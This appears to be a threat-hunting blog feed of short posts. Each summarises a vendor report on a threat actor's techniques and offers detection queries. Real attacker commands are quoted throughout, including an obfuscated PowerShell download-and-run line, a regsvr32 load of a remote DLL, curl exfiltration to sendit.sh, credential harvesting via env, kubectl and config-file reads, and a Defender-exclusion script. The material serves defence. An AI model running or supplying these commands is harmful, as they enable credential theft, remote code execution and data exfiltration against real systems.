Know Your Adversary

Hello everyone! Attackers are often able to extract authentication material from files, so today we'll take a look at the Credentials In Files (T1552.001) technique. According to Kaspersky's report on the activity of the GOFFEE (Paper Werewolf) cluster, the threat actors showed a strong interest in various configuration files containing sensitive information, including: cmd.exe /c type "%APPDATA%\AnyDesk\service.conf" cmd.exe /c type "%USERPROFILE%\OpenVPN\config\avia\avia.ovpn" cmd.exe /c type "%APPDATA%\Kerio\VpnClient\user.cfg" cmd.exe /c dir "%USERPROFILE%\Downloads\Telegram Desktop" Naturally, this kind of activity creates opportunities for proactive threat hunting. For example: event_type: "processcreatewin" AND proc_file_path: "cmd.exe" AND cmdline: ("type" OR "dir") AND cmdline: ("anydesk" OR "openvpn" OR "vpnclient" OR "telegram desktop") See you so...

Hello everyone! Today we'll look at the Execution (TA0002) and Stealth (TA0005) tactics, along with different implementations of the PowerShell (T1059.001) , JavaScript (T1059.007) , and Mshta (T1218.005) techniques. Our examples come from this report  on the activity of Kimsuky (also tracked as Monolithic Werewolf). Let's start with the malicious shortcut files distributed by the attackers. Since the malicious code was embedded directly within the LNK file itself, mshta.exe was launched with the shortcut as its argument, giving us a useful detection opportunity: event_type: "processcreatewin" AND proc_file_path: "mshta.exe" AND cmdline: *.lnk The malicious code acted as a dropper that created the following files on the compromised system: %APPDATA%\Microsoft\Windows\Templates\Templates.js %APPDATA%\Microsoft\Windows\Templates\Templates.ps1 The first file was responsible for launching the second. In this case, we can proactively hunt for this activity by...

Hello everyone! It's been a while since we talked about interesting techniques involving Windows Registry modifications. Time to fix that! Today we'll take a look at Cruciferra , a crypter that was analyzed in detail by Proofpoint in a recent report . The malware modifies the following Registry values: ToastEnabled in Software\Microsoft\Windows\CurrentVersion\PushNotifications Balloon in Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced ShowInfoTip in Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced These Registry values control various user notifications. By modifying them, attackers can suppress notifications displayed to the victim, including alerts generated by security software. This gives defenders several additional opportunities to detect potentially malicious activity: event_type: "registryvaluesetwin" AND reg_key_path: ("toastenabled" OR "balloon" OR "showinfotip") See you soon!

Hello everyone! Today, data exfiltration has become a standard stage in almost every ransomware attack. While threat actors often rely on the same set of tools, there are occasional exceptions. According to an Arctic Wolf Labs report , operators behind the Qilin ransomware used Proton Drive for data exfiltration. Proton Drive is a cloud storage service developed by the Swiss company Proton and designed with privacy in mind. Its key feature is end-to-end encryption, meaning files are encrypted on the user's device before they are uploaded to the cloud. Of course, Proton Drive can be used legitimately within enterprise environments. However, it can also serve as an early indicator of ransomware activity, making it a useful candidate for threat hunting. event_type: "processcreatewin" AND proc_file_productname: "Proton Drive" See you soon!

Hello everyone! Today we're looking at another example of the Remote Desktop Software technique (T1219.002) . Notably, the remote access tool leveraged by the threat actor is currently not included in the LOLRMM project. According to a report from Seqrite, the ShadowRecruit campaign distributed archive files containing multiple components, including a malicious Windows shortcut (LNK), a PowerShell script, and an executable. Execution of the LNK file resulted in the launch of PowerShell, which, among other actions, downloaded and executed the installer for the legitimate remote access software ControlR. Once installed, ControlR could be abused by the threat actor as either a primary or fallback channel for persistent remote access to the compromised host. One approach to detecting this activity is to identify network communications with ControlR infrastructure: event_type: "dnsreqwin" AND dns_rname: "controlr.app" Another option is to hunt for evidence of Contr...

Hello everyone! Threat actors continue to actively use the EtherHiding technique, and today we'll look at another example of it in action. According to a report by LevelBlue , the attackers distributed malicious shortcut (.LNK) files. Interacting with these shortcuts resulted in the execution of an obfuscated PowerShell command, for example: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]\([int]\($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env\:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env\:TEMP\lFdlPb.ps1 Notice that the obfuscation leverages the BigInteger type, which by itself provides an opportunity for hunting: event_type: "processcreatewin" AND proc_file_path: "powe...

Hello everyone! Today we'll look at another interesting example of how attackers abuse the browser. This time, they used it to distract the victim. According to this report , to distract the user and buy the time needed for their scripts to execute properly, the attackers used the service fakeupdate[.]net , which displays a fake Windows update screen. To do this, the attackers launched Microsoft Edge in kiosk mode: start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen Of course, attackers can host similar pages on their own servers. Nevertheless, this browser launch mode provides an opportunity to hunt for suspicious activity using the following detection logic: event_type: "processcreatewin" AND proc_file_path: "msedge.exe" AND cmdline: ("kiosk" AND "fullscreen") See you soon!

Hello everyone! Today we'll look at a less common persistence technique used on compromised systems: Browser Extensions (T1176.001) . According to this report , the attackers used Microsoft Teams while impersonating IT staff to convince victims to visit a phishing website. These phishing sites delivered malicious scripts written in AutoHotKey, Batch, or PowerShell. The script extracted all components of the malware, including a Python backdoor and a browser extension. It also created a scheduled task that launched Microsoft Edge with the following command-line arguments: --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data\Recovery" --load-extension="%EXTENSION_DIR%" --no-first-run --disable-sync --headless=new As you can see, the attackers specified an alternative user data directory (--user-data-dir) and loaded a malicious browser extension (--load-extension). These command-line arguments can be used to hunt for suspicious activity: event_type: "proce...

Hello everyone! Attackers are increasingly using legitimate web services to host malicious files, and today we'll take a look at another example: Storj. According to this report, the attackers used malvertising to distribute the OXLOADER loader. To host the malicious payloads, they relied on the Storj service, for example: link[.]storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe As with other services of this kind, you can look for suspicious interactions with them using a query like: event_type: "dnsreq" AND dns_rname: "storjshare.io" Or you can simply block access to the service altogether - in that case, users won't be able to download the malicious files. See you soon!

Hello everyone!  Let's take a look at another example of how threat actors use interesting folders for masquarading as part of the Match Legitimate Resource Name or Location (T1036.005) technique.  Today's example is SmartRAT . If we look at the report, we'll immediately notice that the malware actively uses the following folders:  %APPDATA%\Microsoft\Diagnosis\ETW\  %ProgramData%\Microsoft\Diagnosis\ETW\  For example, the malware could create a service using the following command: "C:\Windows\system32\sc.exe" create MicrosoftEdgeUpdateCore binPath= "C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe" start= auto obj= LocalSystem DisplayName= "Windows Diagnostics ETW Service"  These are certainly not the most common locations for malware deployment, which makes them good candidates for threat hunting:  event_type: "processcreatewin" AND proc_file_path: "Microsoft\\Diagnosis\\ETW" See you soon!

Hello everyone! Today we'll talk about stealth and persistence in a compromised system, focusing on the following technique: Hidden Window (T1564.003) . I'm sure that searching for suspicious values in the Run registry key is part of your Threat Hunting routine. But sometimes attackers, while trying to stay hidden, actually help us detect malicious activity. For example, EtherRAT wrote to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth the following value: "C:\Windows\System32\conhost.exe" --headless "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\node-v18.17.0-win-x64\node.exe" "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\97f04949151a3819.js" As you can see, the attackers used conhost.exe with the --headless parameter to hide the window. But how often would such a command chain be legitimately written to the Run key? Of course, almost never. That gives us another detection opportunity: event_type: ...

Hello everyone! To be honest, after nearly 400 posts, finding something interesting in public reports has become a bit more challenging. Nevertheless, it’s still possible, and today we’ll once again talk about Exfiltration to Cloud Storage (T1567.002) . This time, the post is sponsored by our partners at Akira , and the following excerpt from a report caught my attention: “Next, the threat actor used the Microsoft Edge browser to access Bing, and search for the term ‘eayupload’ before settling on Easyupload.io, a website that provides access to file uploads via drag-and-drop.” As you can see, the attackers used yet another cloud storage service to upload the data they had collected. Access to such services can be proactively blocked, or you can monitor for suspicious connections to them: event_type: "dnsreq" AND dns_rname: "easyupload.io" Attackers are increasingly relying on legitimate tools and services, so understanding exactly which ones they may use can become...

Hello everyone! In some cases threat actors use very interesting folders to drop malware and tools thay use - and it can be a great target for hunting! Let's look at an example. This time it's Cloud Atlas (Cloud Werewolf, Inception). If we look through the report, we can see that the adversary leveraged multiple interesting folders to store malicious files and tools, for example: C:\Windows\ime C:\Windows\System32\ime C:\Windows\pla C:\Windows\inf C:\Windows\migration C:\Windows\System32\timecontrolsvc C:\Windows\SKB C:\Windows\LiveKernelReports C:\Windows\branding As you can see, these folder are not very common for legitimate executables, so we can use this information to build our hunting query: event_type: "processcreatewin" AND proc_file_path: ("Windows\\ime" OR "Windows\\System32\\ime" OR "Windows\\pla" OR "Windows\\inf" OR "Windows\\migration" OR "Windows\\System32\\timecontrolsvc" OR "Windows\\S...

Hello everyone! Today we'll look at another tool delivered by threat actors via ClickFix . And this time it's a 10-year-old open-source Python SOCKS5 proxy - PySoxy . So, according to ReliaQuest report , the adversary leveraged interactive PowerShell access to download Python tooling to C:\ProgramData .  The following command was executed to run the tool: python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97 The tool was identified as PySoxy. As you can see, there're a few interesting command line parameters we can use to build a hunting query, for example: event_type: "processcreatewin" AND cmdline: ("remote_port" AND "remote_ip")  See you soon!

Hello everyone! Today we’ll take a look at several procedures observed in relatively recent Gamaredon (Disastrous Werewolf, Primitive Bear, Armageddon, Shuckworm, Aqua Blizzard) campaigns . As before, the attackers used phishing emails for initial access. The emails contained archives exploiting the CVE-2025-8088 vulnerability in WinRAR. After successful exploitation, a malicious VBS file - for example, 1_13_4_1882_18.03.2026.vbs  - was copied into %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ . We can search for suspicious VBS file creation events in this folder: event_type: "filecreatewin" AND file_path: ("programs\\startup" AND *.vbs) Next, the VBS file downloads a malicious HTA file from Cloudflare Workers. For example, we can look for wscript.exe communications with the corresponding domains: event_type: "dnsreqwin" AND dns_rname: "workers.dev" AND proc_file_path: "wscript.exe" The HTA file is downloaded into the %TEMP...

Hello everyone! I really enjoy spotting various legitimate services that attackers abuse. Today we’ll look at another such example within the context of the Exfiltration to Cloud Storage technique (T1567.002) . According to this report, MuddyWater (Nebulous Werewolf, Seedworm, TEMP.Zagros, Static Kitten, Mercury, TA450, Cobalt Ulster, Earth Vetala, Mango Sandstorm, Boggy Serpens) abused the sendit[.]sh service for data exfiltration. The service allows uploading files up to 10 GB using the command line: curl.exe -F "file=@C:\Windows\Temp\<artifact>" hxxps://sendit[.]sh As with other similar services, you can look for suspicious communications with it - for example, outbound connections initiated by cURL: event_type: "dnsreqwin" AND dns_rname: "sendit.sh" AND proc_file_path: "curl.exe" See you soon!

Hello everyone! What do I know about stealers? They seem to be very noisy! And today, we’ll once again see that in action using TeamPCP (Haze Wolf) as an example. This time , the stealer was implanted by attackers into three versions of the xinference package (2.6.0, 2.6.1, and 2.6.2). Essentially, it collects SSH keys, various credentials, environment variables, crypto wallets, and much more, then uses cURL for exfiltration. Let’s take a look at a couple of techniques the attackers used to obtain credentials. For example, they were interested in data stored in environment variables: env | grep AWS_ env | grep -i google env | grep -i gcloud env | grep -i azure This looks fairly suspicious from a detection perspective: event_type: processcreate* AND proc_file_path: "env" AND cmdline: ("grep" AND ("aws_" OR "google" OR "azure" OR "gcloud")) Another technique was abusing kubectl to obtain credentials: kubectl get secrets --all-n...

Hello everyone! Today we’re going to look at another interesting variation of the Malicious Copy and Paste technique (T1204.004). This time, according to the report , the attackers prompted the victim to run the following command: C:\WINDOWS\system32\cmd.exe /c cmdkey /add:151.245.195[.]142 /user:guest && start regsvr32 /s \\151.245.195[.]142\hi\demo.dll & REM I am not a robot – Cloudflare ID: d7f5a3335794c434 As you can see, before registering a malicious library from a remote server using regsvr32.exe , the attackers use cmdkey.exe to store credentials for accessing that server. And yes, abusing cmdkey.exe can be a good hunting opportunity - we can look for suspicious events where credentials are added to the Windows Credential Manager: event_type: "processcreatewin" AND proc_file_path: "cmdkey.exe" AND cmdline: "add" See you soon!

Hello everyone! Another group has started using social engineering to deliver a Linux backdoor - though in this case, they essentially rewrote a Windows version of it. Let’s take a look at the techniques they used and how they can be detected or proactively hunted. This time, the source of information is a report by the Symantec and Carbon Black Threat Hunter Team on a group called Harvester . To disguise a malicious ELF file, the attackers used the Masquerade File Type (T1036.008) technique by giving the malicious file a “. pdf” extension—for example, “Details Format. pdf”. As you can see, there’s a space after the dot, which creates an opportunity for detection: Look for events involving the creation or execution of suspicious files with the “. pdf” extension. The attackers used two persistence methods on the compromised system. First, the GoGra backdoor creates a new service at ~/.config/systemd/user/userservice ( Systemd Service (T1543.002) ). Second, it creates an autostart entr...

Hello everyone! Today we’ll talk about another forensic tool that attackers used in the context of the Impair Defenses technique: Disable or Modify Tools (T1562.001) . Once again, the topic is ransomware. This time, we’re looking at the STAC4713 cluster, which distributes the PayoutsKing ransomware. To add exclusions to Windows Defender, the attackers used FTK Imager - a forensic tool designed for creating disk images. The key point is that during installation, this tool allows a selected path to be added to exclusions, which is exactly what the attackers exploited. The following command is executed: powershell -command $ExclusionType;$ExclusionFile = '"ExterroExclusions.txt"';if(Test-Path -path $ExclusionFile ){ $Exclusions = Get-Content $ExclusionFile; foreach ($Item in $Exclusions ) { $ItemTrimmed = $Item.trim(); if($Item.length -gt 0){ if($ItemTrimmed.StartsWith('-')) { $ExclusionType = $ItemTrimmed; Write-Host $ExclusionType; } elseif ( !($ItemTrimmed.St...